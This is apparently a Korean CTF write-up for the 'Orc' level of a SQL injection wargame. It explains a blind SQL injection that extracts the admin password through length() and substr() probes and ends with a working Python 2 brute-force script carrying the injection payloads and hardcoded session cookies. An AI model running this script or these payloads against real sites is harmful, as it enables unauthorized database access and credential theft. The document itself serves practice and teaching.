#About
[그림 1] - 문제 화면
#Solution
Orc 문제는 이전 문제들과 달리 admin의 직접적인 pw 값을 알아내는 것이며, get 파라미터 pw에 전달한 값과, 데이터베이스에
쿼리한 결과 pw 값이 같다면 문제가 풀리게 된다. 또한 쿼리의 결과 값이 참이라면 Hello admin이 출력되고 거짓이라면
아무것도 출력되지 않는, 서버의 서로 다른 반응을 이용한 Blind SQL Injection 문제이다
먼저, admin의 pw를 구하기 위해서는 pw의 길이가 얼마인지 알아야 했기에 length 함수를 사용해 아래와 같이 pw의 길이가 8임을 확인할 수 있었다
[그림 2] - length 함수 사용
그 다음 pw의 첫 번째 자리부터 마지막 자리인 여덟번 째 자리까지 아래의 과정을 거쳐 추출할 수 있었다
[그림 3] - 쿼리 1
[그림 4] - 쿼리 2
[그림 5] - 쿼리 3
[그림 6] - 쿼리 4
[그림 7] - 쿼리 5
[그림 8] - 쿼리 6
[그림 9] - 쿼리 7
[그림 10] - 쿼리 8
[그림 2] ~ [그림 10]의 과정을 통해 pw값 295d5844를 추출했고 해당 값을 넣어주었을 때 아래와 같이 문제를 해결할 수 있었다
[그림 11] - 문제 해결
#Blind SQL Injection Python Code
# -*- coding:utf-8 -*-
'''
Creator = Loddy
'''
import urllib2
query_ok = "<h2>Hello admin"
key = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZY"
print "[*] Start Search pw Length "
for len in range(1,100):
url = 'http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=%27||length(pw)=' + str(len) + '%23'
request = urllib2.Request(url, headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=9g5q9em05r8ke6d779qkg6ipm2")
read = urllib2.urlopen(request).read()
if read.find(query_ok) != -1:
print "\t%s = Correct" % (len)
length=len
break
else:
print "\t%s = Incorrect" % (len)
print "\n",
print "[*] Start Search pw Value"
def find_pw(test, pw):
url2 = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=%27||substr(pw," + str(pw) + ",1)='{}'%23".format(str(key[test]))
request = urllib2.Request(url2, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=c45u9ekpnrmqctmqbocdsuead3")
read = urllib2.urlopen(request).read()
return read
for pw in range(1,length+1):
for test in range(0, 63):
read = find_pw(test, pw)
if read.find(query_ok) != -1:
print "\t(pw,%d,1) = {}".format(key[test]) % pw
break
[그림 12] - 코드 결과